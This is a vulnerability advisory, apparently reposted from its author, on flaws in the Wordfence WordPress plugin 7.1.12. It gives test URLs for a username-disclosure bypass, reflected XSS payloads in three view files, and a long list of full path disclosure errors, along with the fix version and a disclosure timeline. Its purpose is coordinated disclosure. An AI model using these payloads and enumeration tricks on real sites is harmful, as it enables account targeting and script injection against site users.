WordPress Wordfence 7.1.12 XSS / Username Disclosure

2018.10.18
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

[waraxe-2018-SA#109] - Multiple vulnerabilities in Wordfence Wordpress plugin ================================================================================ Author: Janek Vind "waraxe" Date: 02. October 2018 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-109.html Target description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wordfence includes an endpoint firewall and malware scanner that were built from the ground up to protect WordPress. Our Threat Defense Feed arms Wordfence with the newest firewall rules, malware signatures and malicious IP addresses it needs to keep your website safe. Rounded out by a suite of additional features, Wordfence is the most comprehensive WordPress security solution available. https://wordpress.org/plugins/wordfence/ https://www.wordfence.com/ Vulnerable version: 7.1.12 Fixed version: 7.1.14 Active installations: 2+ million ############################################################################### 1. Wordpress username disclosure protection partial bypass ############################################################################### Preconditions: * works only for user who is author of the last post Testing: Let's try well know Wordpress username disclosure method with activated Wordfence: http://localhost/wp498/?author=1 Result: "Oops! That page canat be found." Now let's try modified query: http://localhost/wp498/?author[]= Result: "Author: root" This method can disclose only one username - from author of the last post ############################################################################### 2. Reflected XSS in "403.php" ############################################################################### Reasons: * directly accessible PHP file * uninitialized variable "customText" Preconditions: * PHP version < 5.4 * register_globals = On (default is "Off") Testing: http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php?customText=<script>alert('XSS')</script> ############################################################################### 3. Reflected XSS in "503.php" ############################################################################### Reasons: * directly accessible PHP file * uninitialized variables "reason" and "customText" Preconditions: * PHP version < 5.4 * register_globals = On (default is "Off") Testing: http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php?reason=<script>alert('XSS')</script> http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php?customText=<script>alert('XSS')</script> ############################################################################### 4. Reflected XSS in "503-lockout.php" ############################################################################### Reasons: * directly accessible PHP file * uninitialized variables "customText" and "homeURL" Preconditions: * PHP version < 5.4 * register_globals = On (default is "Off") Testing: http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php?customText=<script>alert('XSS')</script> http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php?homeURL="><script>alert('XSS')</script> ############################################################################### 5. Full path disclosure in multiple PHP files ############################################################################### Reasons: * directly accessible PHP files Preconditions: * display_errors = On (default is "On") Testing: http://localhost/wp498/wp-content/plugins/wordfence/wordfence.php Warning: Invalid argument supplied for foreach() in C:\apache_www\wp498\wp-content\plugins\wordfence\wordfence.php on line 20 Fatal error: Call to undefined function trailingslashit() in C:\apache_www\wp498\wp-content\plugins\wordfence\wordfence.php on line 31 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php Fatal error: Call to a member function createNonce() on null in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\503.php on line 235 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php Fatal error: Call to a member function createNonce() on null in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\503-lockout.php on line 240 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php Fatal error: Class 'wfWAFUtils' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403.php on line 234 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-roadblock.php Fatal error: Class 'wfWAFUtils' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403-roadblock.php on line 13 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-blacklist.php Fatal error: Call to a member function getRequest() on null in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403-blacklist.php on line 13 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage/file.php Fatal error: Interface 'wfWAFStorageInterface' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\storage\file.php on line 3 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/rules.php Fatal error: Class 'wfWAFException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\rules.php on line 15 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/sqli.php Fatal error: Class 'wfWAFBaseParser' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\sqli.php on line 3 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/parser.php Fatal error: Class 'wfWAFException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\lexer.php on line 243 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/lexer.php Fatal error: Class 'wfWAFException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\lexer.php on line 243 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/http.php Fatal error: Class 'wfWAFException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\http.php on line 439 http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/bootstrap-sample.php Warning: file_get_contents(C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src/baseRules.rules): failed to open stream: No such file or directory in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\bootstrap-sample.php on line 40 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/WebService/Http/CurlRequest.php Fatal error: Interface 'MaxMind\WebService\Http\Request' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\WebService\Http\CurlRequest.php on line 13 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/PermissionRequiredException.php Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\PermissionRequiredException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/IpAddressNotFoundException.php Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\IpAddressNotFoundException.php on line 6 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InvalidRequestException.php Fatal error: Class 'MaxMind\Exception\HttpException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InvalidRequestException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InvalidInputException.php Fatal error: Class 'MaxMind\Exception\WebServiceException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InvalidInputException.php on line 11 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InsufficientFundsException.php Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InsufficientFundsException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/HttpException.php Fatal error: Class 'MaxMind\Exception\WebServiceException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\HttpException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/AuthenticationException.php Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\AuthenticationException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/WebService/Client.php Fatal error: Interface 'GeoIp2\ProviderInterface' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\WebService\Client.php on line 45 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Traits.php Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Traits.php on line 92 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Subdivision.php Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Subdivision.php on line 30 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/RepresentedCountry.php Fatal error: Class 'GeoIp2\Record\Country' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\RepresentedCountry.php on line 30 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Postal.php Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Postal.php on line 21 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/MaxMind.php Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\MaxMind.php on line 14 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Location.php Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Location.php on line 37 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Country.php Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Country.php on line 30 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Continent.php Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Continent.php on line 23 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/City.php Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\City.php on line 24 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/AbstractPlaceRecord.php Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\AbstractPlaceRecord.php on line 6 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Isp.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Isp.php on line 21 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Insights.php Fatal error: Class 'GeoIp2\Model\City' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Insights.php on line 46 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Enterprise.php Fatal error: Class 'GeoIp2\Model\City' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Enterprise.php on line 46 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Domain.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Domain.php on line 15 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Country.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Country.php on line 31 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/ConnectionType.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\ConnectionType.php on line 15 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/City.php Fatal error: Class 'GeoIp2\Model\Country' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\City.php on line 48 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Asn.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Asn.php on line 17 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/AnonymousIp.php Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\AnonymousIp.php on line 22 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/OutOfQueriesException.php Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\OutOfQueriesException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/InvalidRequestException.php Fatal error: Class 'GeoIp2\Exception\HttpException' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\InvalidRequestException.php on line 10 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/HttpException.php Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\HttpException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/AuthenticationException.php Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\AuthenticationException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/AddressNotFoundException.php Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\AddressNotFoundException.php on line 9 http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Database/Reader.php Fatal error: Interface 'GeoIp2\ProviderInterface' not found in C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Database\Reader.php on line 35 Solution: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Found issues have been addressed in Wordfence 7.1.14 release. Disclosure timeline: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 13.09.2018 -> First email to vendor 13.09.2018 -> First response email from vendor 13.09.2018 -> Sending detailed information to vendor 01.10.2018 -> Found problems are fixed 02.10.2018 -> Current advisory released Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/ Personal homepage: http://www.janekvind.com/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top